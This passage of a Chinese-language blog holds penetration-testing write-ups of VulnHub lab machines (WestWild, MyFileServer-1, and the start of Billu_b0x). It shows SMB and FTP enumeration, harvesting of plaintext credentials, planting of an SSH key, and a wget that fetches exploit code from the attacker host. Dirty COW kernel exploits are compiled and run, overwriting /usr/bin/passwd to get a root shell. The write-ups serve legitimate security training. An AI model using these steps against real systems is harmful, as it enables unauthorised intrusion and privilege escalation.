|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:A8:7A:D8 (VMware)

Host script results:
| smb-vuln-regsvc-dos: 
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_          
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false

1.2 Web 探测

访问目标 Web 服务，页面内容简单，查看源码未发现有效信息，仅发现一张背景图片。

网页源码：

背景图片地址：http://192.168.200.157/bkgro.png，下载检查后未发现隐写信息。

对 Web 服务进行目录枚举，未发现有效路径。

Web 方向暂无突破口，转向 SMB 服务继续枚举。

1.3 SMB 探测

由于 Nmap 已确认 SMB 允许 guest 匿名访问，使用 smbclient 列出共享目录：

$ smbclient -L //192.168.200.157
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        wave            Disk      WaveDoor
        IPC$            IPC       IPC Service (WestWild server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP

发现名为 wave 的共享目录，使用 guest 身份匿名连接并列出文件：

目录下存在两个文件，分别下载并分析。

SMB 常用命令参考：

# 连接共享（guest 用户）
smbclient //192.168.200.157/共享名 -N

# 指定连接用户
smbclient //192.168.200.157/共享名 -U 用户名

# 进入后的常用命令：
ls                        # 查看文件列表
cd 目录名                  # 进入目录
get 文件名                 # 下载单个文件
get 文件名 /本地/保存路径   # 下载到指定位置
mget *.txt                # 批量下载（支持通配符）

查看文件

FLAG1.txt

文件内容为一段字符串：

RmxhZzF7V2VsY29tZV9UMF9USEUtVzNTVC1XMUxELUIwcmRlcn0KdXNlcjp3YXZleApwYXNzd29yZDpkb29yK29wZW4K

hash-identifier 没有找到，看格式猜测是 Base64，使用 Base64 解码：

这似乎是一个用户的账户和密码，欸是不是SSH等下我们可以试试。

Flag1{Welcome_T0_THE-W3ST-W1LD-B0rder}
user:wavex
password:door+open

message_from_aveng.txt

Dear Wave ,
Am Sorry but i was lost my password ,
and i believe that you can reset  it for me . 
Thank You 
Aveng

这封信说明系统中存在另一个用户 aveng，且其密码已丢失，为后续提权阶段埋下伏笔。

2. 权限立足

不是哥们这就拿下了？？？那我们直接可以跳到提权部分了。

3. 提权

3.1 信息枚举

登入 wavex 用户后，首先进行基础信息收集，了解当前系统环境。

确认当前用户为 wavex，系统为 Ubuntu 14.04，内核版本 4.4.0-142，32 位架构。

接着检查 sudo 权限、计划任务及 SUID 文件，均未发现可利用点：

# sudo 权限
wavex@WestWild:~$ sudo -l
[sudo] password for wavex: 
Sorry, user wavex may not run sudo on WestWild.


# 计划任务
wavex@WestWild:~$ cat /etc/crontab 
# /etc/crontab: system-wide crontab

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

# SUID 文件 
wavex@WestWild:~$ find / -perm -u=s -type f 2>/dev/null

以上路径均无可利用项，转向文件权限枚举。

3.2 发现敏感文件

枚举当前用户可写的文件，寻找潜在的敏感信息：

wavex@WestWild:~$ find / -writable -type f ! -path '/proc/*' 2>/dev/null
/sys/fs/cgroup/systemd/user/1001.user/3.session/tasks
/sys/fs/cgroup/systemd/user/1001.user/3.session/cgroup.procs
/sys/fs/cgroup/systemd/user/1001.user/4.session/tasks
/sys/fs/cgroup/systemd/user/1001.user/4.session/cgroup.procs
/sys/kernel/security/apparmor/policy/.remove
/sys/kernel/security/apparmor/policy/.replace
/sys/kernel/security/apparmor/policy/.load
/sys/kernel/security/apparmor/.remove
/sys/kernel/security/apparmor/.replace
/sys/kernel/security/apparmor/.load
/sys/kernel/security/apparmor/.ns_name
/sys/kernel/security/apparmor/.ns_level
/sys/kernel/security/apparmor/.ns_stacked
/sys/kernel/security/apparmor/.stacked
/sys/kernel/security/apparmor/.access
/usr/share/av/westsidesecret/ififoregt.sh   # <-- 重点关注
/home/wavex/.cache/motd.legal-displayed
/home/wavex/wave/FLAG1.txt
/home/wavex/wave/message_from_aveng.txt
/home/wavex/.bash_history
/home/wavex/.profile
/home/wavex/.bashrc
/home/wavex/.viminfo
/home/wavex/.bash_logout

在结果中发现一个位于非常规路径下的可疑脚本文件：

/usr/share/av/westsidesecret/ififoregt.sh。

文件名 ififoregt（"if I forget"）暗示这是一个密码备忘脚本，查看其内容：

wavex@WestWild:~$ cat /usr/share/av/westsidesecret/ififoregt.sh
#!/bin/bash
figlet "if i foregt so this my way"
echo "user:aveng"
echo "password:kaizen+80"

文件中明文存储了另一个用户 aveng 的登录凭据：

字段	值
用户名	aveng
密码	kaizen+80

3.3 横向移动 & 垂直提权

利用获取到的凭据切换至 aveng 用户，并检查其 sudo 权限：

wavex@WestWild:~$ su aveng
Password:          # 输入 kaizen+80
aveng@WestWild:/home/wavex$ sudo -l
[sudo] password for aveng:
Matching Defaults entries for aveng on WestWild:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aveng may run the following commands on WestWild:
    (ALL : ALL) ALL

aveng 用户具备完整的 sudo 权限（ALL:ALL），直接提权至 root：

aveng@WestWild:/home/wavex$ sudo su
root@WestWild:/home/wavex# id
uid=0(root) gid=0(root) groups=0(root)
root@WestWild:/home/wavex# whoami
root

3.4 提权链总结

本次提权路径清晰，分为两个阶段：

wavex（低权限用户）
    ↓  find / -writable 枚举可写文件
    ↓  发现 /usr/share/av/westsidesecret/ififoregt.sh
    ↓  读取文件，获得 aveng 用户明文凭据
aveng（普通用户）
    ↓  sudo -l 发现 (ALL:ALL) ALL
    ↓  sudo su
root ✓

阶段	技术手法	说明
信息收集	`find / -writable`	枚举当前用户可写文件
横向移动	明文凭据	从脚本文件中读取 aveng 密码
垂直提权	sudo 滥用	aveng 拥有无限制 sudo 权限

4. 总结

超级超级简单的一台机器，不过我还是在提权阶段卡了一下。但是，又学到新的知识点（好开心），下次在提权的时候又多了一条需要找的内容，寻找当前用户可以写权限的文件。

Vulnhub MyFileServer-1 WriteUp

Tue, 12 May 2026 00:00:00 GMT

前言

靶场介绍

My File Server 1 是一台以文件服务为主题的入门级 VulnHub 靶机，开放了多个网络服务——FTP、SMB、NFS、HTTP——模拟了一个典型的小型文件共享服务器环境。靶机的攻击面较广，信息收集阶段就能获取到大量有效线索，关键路径是通过多个服务之间的信息交叉比对，最终拿到可用凭证，再利用内核漏洞完成提权。

靶场信息

靶机 IP：192.168.200.158

靶机官方 URL：https://www.vulnhub.com/entry/my-file-server-1,432/

下载（镜像）：https://download.vulnhub.com/myfileserver/My_file_server_1.ova

涉及工具

nmap — 端口扫描 / 漏洞扫描
ftp — FTP 匿名及凭据登录
smbclient — SMB 枚举与文件下载
ssh-keygen — 本地生成 SSH 密钥对
searchsploit — 本地 EXP 搜索
linpeas.sh — 本地提权信息自动化收集
gcc — 靶机本地 EXP 编译

1. 信息收集

1.1 Nmap 信息扫描

端口扫描

PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
20048/tcp open  mountd

开放的服务数量明显多于普通 Web 靶机。rpcbind 的出现说明有 RPC 服务在运行，后续有必要补一次 UDP 扫描确认是否有额外端口暴露。重点关注对象：FTP（21/2121 双端口）、SMB（445）、NFS（2049）。

21,22,80,111,445,2049,2121,20048

详细信息

Nmap scan report for 192.168.200.158
Host is up (0.00032s latency).

PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 3.0.2
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.200.142
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    3 0        0              16 Feb 19  2020 pub [NSE: writeable]
22/tcp    open  ssh         OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA)
|   256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA)
|_  256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519)
80/tcp    open  http        Apache httpd 2.4.6 ((CentOS))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
|_http-title: My File Server
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100003  3,4         2049/udp   nfs
|   100003  3,4         2049/udp6  nfs
|   100005  1,2,3      20048/tcp   mountd
|   100005  1,2,3      20048/tcp6  mountd
|   100005  1,2,3      20048/udp   mountd
|   100005  1,2,3      20048/udp6  mountd
|   100021  1,3,4      43254/tcp6  nlockmgr
|   100021  1,3,4      45779/udp6  nlockmgr
|   100021  1,3,4      46152/udp   nlockmgr
|   100021  1,3,4      47088/tcp   nlockmgr
|   100024  1          36116/tcp   status
|   100024  1          36232/tcp6  status
|   100024  1          51332/udp6  status
|   100024  1          60476/udp   status
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
445/tcp   open  netbios-ssn Samba smbd 4.9.1 (workgroup: SAMBA)
2049/tcp  open  nfs_acl     3 (RPC #100227)
2121/tcp  open  ftp         ProFTPD 1.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: ERROR
20048/tcp open  mountd      1-3 (RPC #100005)
MAC Address: 00:0C:29:C1:3D:A9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc|router
Running (JUST GUESSING): Linux 2.6.X|3.X|4.X|5.X (97%), Synology DiskStation Manager 5.X (94%), MikroTik RouterOS 7.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:6.0
Aggressive OS guesses: Linux 2.6.32 - 3.13 (97%), Linux 3.4 - 3.10 (97%), Linux 2.6.32 - 3.10 (97%), Linux 2.6.39 (97%), Linux 3.10 (95%), Synology DiskStation Manager 5.2-5644 (94%), Linux 2.6.32 (94%), Linux 2.6.32 - 3.5 (92%), Linux 3.2 - 3.16 (91%), Linux 3.2 - 3.8 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: FILESERVER; OS: Unix

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.1)
|   Computer name: localhost
|   NetBIOS computer name: FILESERVER\x00
|   Domain name: \x00
|   FQDN: localhost
|_  System time: 2026-05-07T15:46:20+05:30
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-05-07T10:16:18
|_  start_date: N/A
|_clock-skew: mean: 6h09m56s, deviation: 3h10m29s, median: 7h59m55s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

几个关键信息直接从详细扫描中读出：

FTP（21 端口，vsftpd）允许匿名登录，且 /pub 目录对所有人可写
FTP（2121 端口，ProFTPD 1.3.5）同样允许匿名登录
SMB 签名未启用（message_signing: disabled），认证级别为 user 级

漏洞扫描

PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing
111/tcp   open  rpcbind
445/tcp   open  microsoft-ds
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
20048/tcp open  mountd
MAC Address: 00:0C:29:C1:3D:A9 (VMware)

Host script results:
| smb-vuln-regsvc-dos: 
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_          
|_smb-vuln-ms10-061: false
|_smb-vuln-ms10-054: false

SMB 漏洞扫描结果均无直接可利用项，HTTP 层面也未发现明显注入点。漏洞扫描的价值在此阶段较低，重心转向服务枚举。

1.2 FTP 探测

在前期 nmap 扫描阶段，发现目标开放了 FTP 服务，且允许匿名用户登录。匿名登录后，可以在 /pub/log 目录下发现一批 Linux 系统日志文件。由于服务器权限限制，并非所有文件均可下载成功。

ftp 192.168.200.158
# 用户名：anonymous，密码回车跳过
cd /pub/log
binary
prompt
mget *

ftp文件服务器中存放的应该是一整套linux的日志文件，后续我应该需要要对这些日志文件进行日志内容的分析。不过，几个关键日志文件由于权限限制无法下载，因此暂时搁置日志分析，优先继续探测其他服务。(Linux日志分析教程)

目标机同时在 2121 端口也开放了 FTP 服务，尝试访问：

ftp 192.168.200.158 2121

登录后发现目录结构与 21 端口完全相同，下载权限限制也一致，无法获取更多内容。

1.3 SMB 探测

枚举共享目录

使用 smbclient 枚举目标机的 SMB 共享：

smbclient -L //192.168.200.158 -N

输出结果显示存在以下共享：

通过匿名登录 smbdata 共享目录，发现其中存放的文件与 FTP /pub/log 完全一致。尝试下载文件，神奇的是 SMB 没有权限限制，可以将所有文件完整下载：

smbclient //192.168.200.158/smbdata -N
smb: \> prompt
smb: \> mget *

成功下载的关键文件包括：secure、sshd_config、wtmp、lastlog、messages 等。

日志文件分析

拿到完整日志包后，按信息价值优先级逐个分析。

分析 secure

secure 是 CentOS/RHEL 系统的认证日志，记录所有登录尝试、用户创建和密码修改事件，是提取用户名线索的首选来源。提取其中的关键记录：

grep "useradd\|passwd\|Accepted\|Invalid user" secure

发现如下关键条目：

Feb 18 17:16:39 localhost useradd[2389]: new group: name=smbuser, GID=1000
Feb 18 17:16:39 localhost useradd[2389]: new user: name=smbuser, UID=1000, GID=1000, home=/home/smbuser, shell=/bin/bash
Feb 18 17:17:09 localhost passwd: pam_unix(passwd:chauthtok): password changed for smbuser

日志明确显示系统创建了一个名为 smbuser 的用户，并随后修改了该用户的密码。这为后续的凭证尝试提供了重要的用户名线索。（ smbuser:chauthtok）

如需系统性地从日志中提取所有出现过的用户名，可以用以下方式整合多个来源：

# 从 secure 提取
grep -oP "(?<=for )\w+" secure | sort -u

# 从登录历史提取（wtmp/btmp 是二进制文件，需用专用命令读取）
last -f wtmp | awk '{print $1}' | sort -u
lastb -f btmp | awk '{print $1}' | sort -u

xferlog（FTP 传输日志）中还发现了一条有趣记录，显示有人曾通过 FTP 传输过 /pub/passwd 文件。值得回头确认该文件是否还在服务器上。

分析 sshd_config

下载到的 sshd_config 中有几个值得关注的配置：

PermitRootLogin yes          # root 账户允许 SSH 登录
PasswordAuthentication no    # 但密码登录已被禁用

这意味着 SSH 只接受密钥认证，密码直接登录的路线行不通。

ssh root@192.168.200.158
# root@192.168.200.158: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).

结果符合预期，密码认证被拒绝。那么接下来的目标，是找到或写入一个可用的 SSH 密钥。

1.4 Web 探测

目录扫描

通过目录扫描，发现了一个 /readme.txt 文件。

My Password is
rootroot1

这是一个明文存储的密码。结合此前从日志中获取的用户名 smbuser，以及之前无法访问的 smbuser 共享目录，下一步可以尝试用该密码访问 SMB 的 smbuser 目录，或在其他服务上进行凭证验证。

至此，信息收集阶段基本完成。手头线索汇总：

用户名：smbuser（来自 secure 日志）
密码：rootroot1（来自 Web 目录 readme.txt）
SSH 仅支持密钥认证（来自 sshd_config）
NFS 服务开放（列出文件共享名是smbdata，与之前探测的smb相同）

2. 权限立足

2.1 凭证尝试

完成信息收集后，手头已有用户名 smbuser 和密码 rootroot1，下一步尝试用这组凭证打通各个服务。

首先尝试 SMB 的 smbdata 共享目录，依次测试了以下几个组合：

smbclient //192.168.200.158/smbdata -U smbuser
# 尝试密码：chauthtok
# 尝试密码：rootroot1
# 尝试密码：rootroot1（用户 root）

三组均以失败告终。此时回想起 FTP 服务还没有用该凭证尝试过，于是转向 FTP。

2.2 FTP 登录

使用 smbuser:rootroot1 登录 FTP，成功：

ftp 192.168.200.158
# Name: smbuser
# Password: rootroot1

ftp> pwd
# Remote directory: /home/smbuser

成功以 smbuser 身份登录，当前目录落在该用户的家目录 /home/smbuser。这意味着我们可以通过 FTP 向该用户的家目录写入文件，为 SSH 密钥登录创造条件。

2.3 写入 SSH 公钥 GetShell

由于前面分析 sshd_config 已知 SSH 支持公钥认证，且 smbuser 的家目录可写，思路很清晰：在本地生成密钥对，通过 FTP 将公钥上传到目标机的 ~/.ssh/authorized_keys，再用私钥 SSH 登录。

第一步：生成密钥对

sudo ssh-keygen -f myfileserver

-rw------- 1 root root 399 May  7 01:33 myfileserver        # 私钥
-rw-r--r-- 1 root root  91 May  7 01:33 myfileserver.pub    # 公钥

第二步：通过 FTP 上传公钥

ftp 192.168.200.158
# 登录 smbuser:rootroot1

ftp> mkdir .ssh
ftp> cd .ssh
ftp> put myfileserver.pub authorized_keys

第三步：SSH 私钥登录

sudo ssh -i myfileserver smbuser@192.168.200.158

成功获取 smbuser 用户的 Shell，完成初始立足。

小结：SMB 的凭证尝试均失败，但 FTP 服务接受了同一套凭证，且 FTP 对应的是用户家目录，结合 SSH 公钥认证机制，最终通过「上传公钥→私钥登录」的方式完成 GetShell。

3. 提权（内核提权详解）

3.1 基础信息收集

登录靶机后，首先确认当前用户身份和所在目录，并查看 home 目录下的文件结构：

[smbuser@fileserver ~]$ pwd
/home/smbuser
[smbuser@fileserver ~]$ ls -liah
total 16K
67585741 drwx------  3 smbuser smbuser  90 May  7 19:11 .
33554618 drwxr-xr-x. 3 root    root     20 Feb 19  2020 ..
67300683 -rw-------  1 smbuser smbuser  39 May  7 19:21 .bash_history
67585742 -rw-r--r--  1 smbuser smbuser  18 Mar  6  2015 .bash_logout
67667769 -rw-r--r--  1 smbuser smbuser 193 Mar  6  2015 .bash_profile
67680642 -rw-r--r--  1 smbuser smbuser 231 Mar  6  2015 .bashrc
  303488 drwxr-xr-x  2 smbuser smbuser  28 May  7 19:12 .ssh

查看当前内核版本：


[smbuser@fileserver ~]$ uname -a
Linux fileserver 3.10.0-229.el7.x86_64 #1 SMP Fri Mar 6 11:36:42 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
[smbuser@fileserver ~]$

内核版本为 3.10.0-229，发行日期为 2015 年，属于较老版本，存在内核漏洞利用的可能性。

3.2 提权信息收集

sudo 权限检查

[smbuser@fileserver ~]$ sudo -l
[sudo] password for smbuser: 
Sorry, user smbuser may not run sudo on fileserver.

当前用户 smbuser 无任何 sudo 权限，该路径不可用。

计划任务检查

[smbuser@fileserver ~]$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
# ...（无自定义任务）

/etc/crontab 中没有可利用的计划任务。

SUID 文件枚举

[smbuser@fileserver ~]$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/sudo
/usr/bin/staprun
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper

枚举到的 SUID 文件均为系统标准程序，没有明显的可利用点。sudo、crontab 等提权思路均已排除，转向内核漏洞利用方向。

3.3 内核版本确认与漏洞搜索

使用 searchsploit 搜索该内核版本下已知的提权漏洞：

searchsploit linux kernel 3.10

结果过多，缩小范围只看提权类漏洞：

searchsploit linux kernel 3.10 | grep 'Privilege Escalation'

3.4 尝试 EXP：50135.c（失败）

首先尝试 CVE 编号对应的 Netfilter 本地提权漏洞：

Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation' | linux/local/50135.c

将 exp 下载至靶机 /tmp 目录后尝试编译：

[smbuser@fileserver tmp]$ wget 'http://192.168.200.142:8081/50135.c'
[smbuser@fileserver tmp]$ gcc 50135.c -o 50135
50135.c:247:57: error: 'MSG_COPY' undeclared (first use in this function)
50135.c:264:3: error: 'for' loop initial declarations are only allowed in C99 mode
...

继续尝试其他 exp。由于我们是新手，没有能力去修改exp编译的时候到底出了什么问题。不过在这个阶段，我们需要多尝试，积累经验。

3.5 尝试 EXP：45516.c（失败）

[smbuser@fileserver tmp]$ gcc 45516.c -o 45516
45516.c:276:1: error: conflicting types for ‘main’
 main(const int argc, const char * const * const argv, const char * const * const envp)
 ^
45516.c:50:1: note: previous definition of ‘main’ was here
 main(void)
 ^
45516.c: In function ‘main’:
45516.c:283:0: warning: "LLP" redefined [enabled by default]
     #define LLP "LD_LIBRARY_PATH"
 ^
45516.c:59:0: note: this is the location of the previous definition
     #define LLP "LD_LIBRARY_PATH=."
 ^

同样编译失败，exp 中存在重复定义 main 函数和宏重定义等问题，暂无能力修复，继续寻找其他路径。

3.6 使用 linpeas.sh 辅助漏洞发现

手动尝试两个 exp 均告失败，引入自动化工具 linpeas.sh 进行全面的本地提权信息收集。在 Kali 上定位工具路径：

┌──(kali㉿kali)-[~/vulnhub/MyFileServer-1]
└─$ find / -name linpeas.sh 2>/dev/null       
/usr/share/peass/linpeas/linpeas.sh

将脚本传至靶机并执行，重点关注 Linux Exploit Suggester 部分的输出：

╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2016-5195] dirtycow

linpeas 明确指出当前内核存在 CVE-2016-5195（Dirty COW 脏牛漏洞），该漏洞适用于当前内核版本，进入脏牛利用阶段。

3.7 Dirty COW 漏洞说明

关键术语解释

理解 searchsploit 的搜索结果前，先明确几个核心术语：

Dirty COW：脏牛漏洞。COW 是 Copy-on-Write（写时复制）的缩写，这是 Linux 内存管理的一种机制，该漏洞正是利用了这一机制中的竞争条件缺陷。
Privilege Escalation：权限提升，即从普通用户提升至 root 权限。
Race Condition：竞争条件，漏洞利用原理是在系统处理并发操作时抢占"时间窗口"触发错误行为。

searchsploit 搜索结果

┌──(kali㉿kali)-[~/vulnhub/MyFileServer-1/PE]
└─$ searchsploit dirty cow

┌──(kali㉿kali)-[~/vulnhub/MyFileServer-1]
└─$ searchsploit linux kernel 3 | grep "Dirty COW"
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race  | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition  | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition | linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Conditi | linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition  | linux/local/40611.c

结果分类解析

搜索结果按利用方式分为三类：

① Dos 破坏类（路径含 dos/）

The Huge Dirty Cow 系列利用的是对大零页内存的覆盖写入，目的是造成内核崩溃，属于拒绝服务攻击（Denial of Service），不会产生提权效果。靶机练习中绝对不要使用，会直接导致虚拟机宕机。

② /proc/self/mem 竞争写入类（经典利用方式）

这类 exp 通过 /proc/self/mem（Linux 中进程访问自身内存的特殊文件接口）触发竞争条件，绕过只读保护强行写入内存。按具体利用手法又细分为三种：

Write Access Method（40611.c）：纯概念验证，仅测试能否向只读内存写入，不会产生提权效果，通常用于漏洞确认。
SUID Method（40616.c）：将恶意代码注入系统中带有 SUID 权限的可执行文件，下次运行该程序时以 root 身份执行，从而完成提权。
/etc/passwd Method（40847.cpp）：最直接有效的提权方式。直接覆写 /etc/passwd，在其中插入一个自定义的 root 级别账户（通常为 firefart），之后切换至该账户即获得 root 权限。

③ PTRACE_POKEDATA 竞争写入类（补丁绕过版本）

部分系统管理员针对 /proc/self/mem 路径打了补丁，这类 exp 改用 ptrace 调试接口中的 PTRACE_POKEDATA 功能触发相同的竞争条件，属于对上述漏洞的绕过变体。同样包含 Write Access 验证版和 /etc/passwd 提权版，利用逻辑与第②类一致，只是底层触发方式不同。

3.8 Dirty COW 漏洞利用尝试

下载 EXP 并尝试编译

将 40839.c 从攻击机下载到靶机 /tmp 目录后，执行默认编译命令，报错如下：

gcc 40839.c -o 40839

编译失败，出现两类链接错误：

a.undefined reference to 'crypt'

40839.c 在写入新账户时需调用 generate_password_hash() 对明文密码进行哈希加密，该函数依赖 Linux 系统的 crypt 加密库，编译时须显式链接，需追加 -lcrypt 参数。

b. undefined reference to 'pthread_create' / pthread_join

Dirty COW 漏洞的核心原理是竞争条件（Race Condition）——需同时开启多个线程，一边持续读取、一边持续写入，以触发内核竞态 Bug。代码依赖 POSIX 多线程库，需追加 -pthread 参数。

正确编译命令：

gcc 40839.c -o 40839 -pthread -lcrypt

Linux 惯例：编译成功无任何输出，当前目录生成可执行文件 40839 即为成功。

切换 EXP

运行 40839 后 SSH 会话卡死并断开，放弃该 EXP，改用 40616.c。

编译 40616.c 时出现警告（非报错），提示 lseek() 参数类型不匹配，但不影响编译通过：

gcc 40616.c -o 40616 -pthread

[smbuser@fileserver tmp]$ gcc 40616.c -o 40616 -pthread
40616.c: In function ‘procselfmemThread’:
40616.c:99:9: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast [enabled by default]
         lseek(f,map,SEEK_SET);
         ^
In file included from 40616.c:28:0:
/usr/include/unistd.h:334:16: note: expected ‘__off_t’ but argument is of type ‘void *’
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;

3.9 获取 Root Shell

执行 40616，漏洞利用成功：

[smbuser@fileserver tmp]$ ./40616
DirtyCow root privilege escalation
Backing up /usr/bin/passwd.. to /tmp/bak
Racing, this may take a while..
thread stopped / thread stopped
/usr/bin/passwd is overwritten
Popping root shell.

该 EXP 的原理是将 /usr/bin/passwd 二进制文件替换为具有 SUID 权限的 root shell，执行后直接获得 root 提示符。

权限验证：

[root@fileserver tmp]# whoami
root
[root@fileserver tmp]# id
uid=0(root) gid=1000(smbuser) groups=0(root),1000(smbuser)
[root@fileserver tmp]# hostname
fileserver

注意： EXP 提示需在利用完成后将备份文件 /tmp/bak 还原至 /usr/bin/passwd，否则系统密码功能将失效。

执行 ip a 查询网卡信息时 SSH 连接被重置断开，后续步骤需重新建立连接。

4. 总结

本次失误：

在基础信息收集阶段，我确实收集到了需要的相关信息。也想到了 smbuser:rootroot1 的组合，但是只在 smbclient 上尝试了，没有想到去尝试 ftp。
对于收集到的日志文件，没有想到查看 ssh_config 文件，也没有读懂 ssh_config 文件中的内容。
不会在 Linux 上创建公私钥并上传。
在提权阶段，没有先尝试用已经获得的凭证去获取 root 密码。

5. 补充（其他提权方法）

其实root的密码就是rooroot1，我竟然获得shell后，忘记尝试这个在网页中获得密码。

[root@fileserver ~]# ls
proof.txt
[root@fileserver ~]# cat proof.txt 
Best of Luck
af52e0163b03cbf7c6dd146351594a43

Vulnhub Billu_b0x WriteUp

Tue, 05 May 2026 00:00:00 GMT

前言

靶场介绍

主要涉及nmap扫描、web渗透、文件包含漏洞利用、php代码审计、sql注入原理、图片木马制作，php反弹shell的使用和url编码技巧。靶机本身不难，但是综合利用还是有很多技巧和思路的。涉及的知识点较多，希望对你渗透技能提升有帮助。想实操的可以学习视频的同时在vulnhub.com下载靶机动手练习。

靶场信息

靶机IP：192.168.200.155 00:0c:29:92:13:2e（注：实际运行环境中，IP 需根据本地虚拟机的 DHCP 网络环境使用扫描工具确定）

靶机网址： https://www.vulnhub.com/entry/billu-b0x,188/

下载（镜像）： https://download.vulnhub.com/billu/Billu_b0x.zip

思维导图

1.信息收集

1.1 Nmap信息扫描

端口扫描

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

详细信息

PORT   STATE SERVICE VERSION
